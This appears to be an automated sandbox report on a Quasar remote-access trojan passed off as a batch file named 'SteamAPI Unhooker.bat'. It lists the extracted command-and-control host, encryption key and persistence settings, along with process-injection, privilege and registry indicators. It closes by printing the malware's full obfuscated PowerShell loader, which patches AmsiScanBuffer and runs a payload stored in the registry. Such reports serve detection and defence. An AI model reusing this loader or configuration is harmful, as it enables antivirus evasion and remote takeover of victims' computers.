quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
217s
max time network
217s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 13:52

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General

Target

SteamAPI Unhooker.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral3/memory/2768-22-0x0000000008CF0000-0x0000000008DE2000-memory.dmp	family_quasar
behavioral3/memory/4580-80-0x00000000090C0000-0x000000000912C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar
behavioral3/memory/4952-97-0x0000000000060000-0x00000000000CC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1704 created 636 1704 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 4580 powershell.exe
4 4580 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2768 powershell.exe
3904 powershell.exe
4580 powershell.exe

description	pid	process	target process
PID 1704 created 636	1704	powershell.EXE	winlogon.exe

flow	pid	process
2	4580	powershell.exe
4	4580	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

New.exeInstall.exe

pid process

4952 New.exe
2092 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
4952	New.exe
2092	Install.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEsvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1704 set thread context of 1896 1704 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

3484 SCHTASKS.exe

description	pid	process	target process
PID 1704 set thread context of 1896	1704	powershell.EXE	dllhost.exe

pid	process
3484	SCHTASKS.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
2768	powershell.exe
2768	powershell.exe
3904	powershell.exe
3904	powershell.exe
4580	powershell.exe
4580	powershell.exe
1704	powershell.EXE
1704	powershell.EXE
1704	powershell.EXE
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
4580	powershell.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
4580	powershell.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1044	wmiprvse.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
4580	powershell.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
4580	powershell.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
1896	dllhost.exe
4580	powershell.exe
1896	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3904	powershell.exe
Token: SeSecurityPrivilege	3904	powershell.exe
Token: SeTakeOwnershipPrivilege	3904	powershell.exe
Token: SeLoadDriverPrivilege	3904	powershell.exe
Token: SeSystemProfilePrivilege	3904	powershell.exe
Token: SeSystemtimePrivilege	3904	powershell.exe
Token: SeProfSingleProcessPrivilege	3904	powershell.exe
Token: SeIncBasePriorityPrivilege	3904	powershell.exe
Token: SeCreatePagefilePrivilege	3904	powershell.exe
Token: SeBackupPrivilege	3904	powershell.exe
Token: SeRestorePrivilege	3904	powershell.exe
Token: SeShutdownPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeSystemEnvironmentPrivilege	3904	powershell.exe
Token: SeRemoteShutdownPrivilege	3904	powershell.exe
Token: SeUndockPrivilege	3904	powershell.exe
Token: SeManageVolumePrivilege	3904	powershell.exe
Token: 33	3904	powershell.exe
Token: 34	3904	powershell.exe
Token: 35	3904	powershell.exe
Token: 36	3904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3904	powershell.exe
Token: SeSecurityPrivilege	3904	powershell.exe
Token: SeTakeOwnershipPrivilege	3904	powershell.exe
Token: SeLoadDriverPrivilege	3904	powershell.exe
Token: SeSystemProfilePrivilege	3904	powershell.exe
Token: SeSystemtimePrivilege	3904	powershell.exe
Token: SeProfSingleProcessPrivilege	3904	powershell.exe
Token: SeIncBasePriorityPrivilege	3904	powershell.exe
Token: SeCreatePagefilePrivilege	3904	powershell.exe
Token: SeBackupPrivilege	3904	powershell.exe
Token: SeRestorePrivilege	3904	powershell.exe
Token: SeShutdownPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeSystemEnvironmentPrivilege	3904	powershell.exe
Token: SeRemoteShutdownPrivilege	3904	powershell.exe
Token: SeUndockPrivilege	3904	powershell.exe
Token: SeManageVolumePrivilege	3904	powershell.exe
Token: 33	3904	powershell.exe
Token: 34	3904	powershell.exe
Token: 35	3904	powershell.exe
Token: 36	3904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3904	powershell.exe
Token: SeSecurityPrivilege	3904	powershell.exe
Token: SeTakeOwnershipPrivilege	3904	powershell.exe
Token: SeLoadDriverPrivilege	3904	powershell.exe
Token: SeSystemProfilePrivilege	3904	powershell.exe
Token: SeSystemtimePrivilege	3904	powershell.exe
Token: SeProfSingleProcessPrivilege	3904	powershell.exe
Token: SeIncBasePriorityPrivilege	3904	powershell.exe
Token: SeCreatePagefilePrivilege	3904	powershell.exe
Token: SeBackupPrivilege	3904	powershell.exe
Token: SeRestorePrivilege	3904	powershell.exe
Token: SeShutdownPrivilege	3904	powershell.exe
Token: SeDebugPrivilege	3904	powershell.exe
Token: SeSystemEnvironmentPrivilege	3904	powershell.exe
Token: SeRemoteShutdownPrivilege	3904	powershell.exe
Token: SeUndockPrivilege	3904	powershell.exe
Token: SeManageVolumePrivilege	3904	powershell.exe
Token: 33	3904	powershell.exe
Token: 34	3904	powershell.exe
Token: 35	3904	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4580 powershell.exe

pid	process
4580	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2372 wrote to memory of 2768	2372	cmd.exe	powershell.exe
PID 2372 wrote to memory of 2768	2372	cmd.exe	powershell.exe
PID 2372 wrote to memory of 2768	2372	cmd.exe	powershell.exe
PID 2768 wrote to memory of 3904	2768	powershell.exe	powershell.exe
PID 2768 wrote to memory of 3904	2768	powershell.exe	powershell.exe
PID 2768 wrote to memory of 3904	2768	powershell.exe	powershell.exe
PID 2768 wrote to memory of 3144	2768	powershell.exe	WScript.exe
PID 2768 wrote to memory of 3144	2768	powershell.exe	WScript.exe
PID 2768 wrote to memory of 3144	2768	powershell.exe	WScript.exe
PID 3144 wrote to memory of 3108	3144	WScript.exe	cmd.exe
PID 3144 wrote to memory of 3108	3144	WScript.exe	cmd.exe
PID 3144 wrote to memory of 3108	3144	WScript.exe	cmd.exe
PID 3108 wrote to memory of 4580	3108	cmd.exe	powershell.exe
PID 3108 wrote to memory of 4580	3108	cmd.exe	powershell.exe
PID 3108 wrote to memory of 4580	3108	cmd.exe	powershell.exe
PID 4580 wrote to memory of 4952	4580	powershell.exe	New.exe
PID 4580 wrote to memory of 4952	4580	powershell.exe	New.exe
PID 4580 wrote to memory of 4952	4580	powershell.exe	New.exe
PID 4580 wrote to memory of 2092	4580	powershell.exe	Install.exe
PID 4580 wrote to memory of 2092	4580	powershell.exe	Install.exe
PID 4580 wrote to memory of 2092	4580	powershell.exe	Install.exe
PID 4952 wrote to memory of 3484	4952	New.exe	SCHTASKS.exe
PID 4952 wrote to memory of 3484	4952	New.exe	SCHTASKS.exe
PID 4952 wrote to memory of 3484	4952	New.exe	SCHTASKS.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1704 wrote to memory of 1896	1704	powershell.EXE	dllhost.exe
PID 1896 wrote to memory of 636	1896	dllhost.exe	winlogon.exe
PID 1896 wrote to memory of 692	1896	dllhost.exe	lsass.exe
PID 1896 wrote to memory of 1000	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 432	1896	dllhost.exe	dwm.exe
PID 1896 wrote to memory of 464	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 876	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1060	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1068	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1080	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1172	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1248	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1256	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1344	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1396	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1440	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1476	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1488	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1636	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1680	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1732	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1796	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1832	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2020	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2028	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 1968	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2056	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2128	1896	dllhost.exe	spoolsv.exe
PID 1896 wrote to memory of 2228	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2348	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2360	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2400	1896	dllhost.exe	svchost.exe
PID 1896 wrote to memory of 2428	1896	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:432

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d406b1dd-2799-49a1-a67c-f1f0a392fa31}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IuyCWJkisuTU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YAzhxpEmyrHkOT,[Parameter(Position=1)][Type]$CfNhPfEYyU)$kDaEVTJdpod=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+'e'+''+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+''+'a'+'te'+'T'+''+'y'+'p'+[Char](101)+'','Cl'+'a'+''+[Char](115)+''+[Char](115)+''+','+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+'o'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$kDaEVTJdpod.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+''+[Char](101)+','+[Char](72)+'id'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$YAzhxpEmyrHkOT).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$kDaEVTJdpod.DefineMethod('In'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+','+''+'N'+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+[Char](116)+',V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$CfNhPfEYyU,$YAzhxpEmyrHkOT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+'na'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $kDaEVTJdpod.CreateType();}$POrcYcWUgJBIf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'d'+'l'+'l')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+'ft'+'.'+''+'W'+''+[Char](105)+'n'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'Nati'+[Char](118)+'eMeth'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$wNchLwuaiowFYq=$POrcYcWUgJBIf.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+''+'d'+'dr'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nWBlBrwJgsiKqphXiUC=IuyCWJkisuTU @([String])([IntPtr]);$pNyfmIKSXoTTmSDdmHUKNX=IuyCWJkisuTU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HNuYCnQvHyE=$POrcYcWUgJBIf.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'H'+'a'+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$cZwTOoVxWgYzMx=$wNchLwuaiowFYq.Invoke($Null,@([Object]$HNuYCnQvHyE,[Object]('L'+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$gPyFsZSGxwzeqVVQX=$wNchLwuaiowFYq.Invoke($Null,@([Object]$HNuYCnQvHyE,[Object](''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+'c'+''+[Char](116)+'')));$MLoamvq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cZwTOoVxWgYzMx,$nWBlBrwJgsiKqphXiUC).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+'l');$HLydpmzCDUFRYIBYp=$wNchLwuaiowFYq.Invoke($Null,@([Object]$MLoamvq,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+'ff'+'e'+''+'r'+'')));$sqstUVUVCh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gPyFsZSGxwzeqVVQX,$pNyfmIKSXoTTmSDdmHUKNX).Invoke($HLydpmzCDUFRYIBYp,[uint32]8,4,[ref]$sqstUVUVCh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HLydpmzCDUFRYIBYp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gPyFsZSGxwzeqVVQX,$pNyfmIKSXoTTmSDdmHUKNX).Invoke($HLydpmzCDUFRYIBYp,[uint32]8,0x20,[ref]$sqstUVUVCh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1704

